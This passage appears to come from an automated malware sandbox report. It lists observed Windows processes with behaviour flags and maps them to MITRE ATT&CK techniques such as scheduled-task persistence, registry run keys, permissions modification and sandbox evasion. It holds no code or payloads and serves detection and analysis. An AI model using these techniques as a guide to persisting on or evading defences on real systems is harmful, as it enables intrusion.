- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3512

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:220

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:392

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion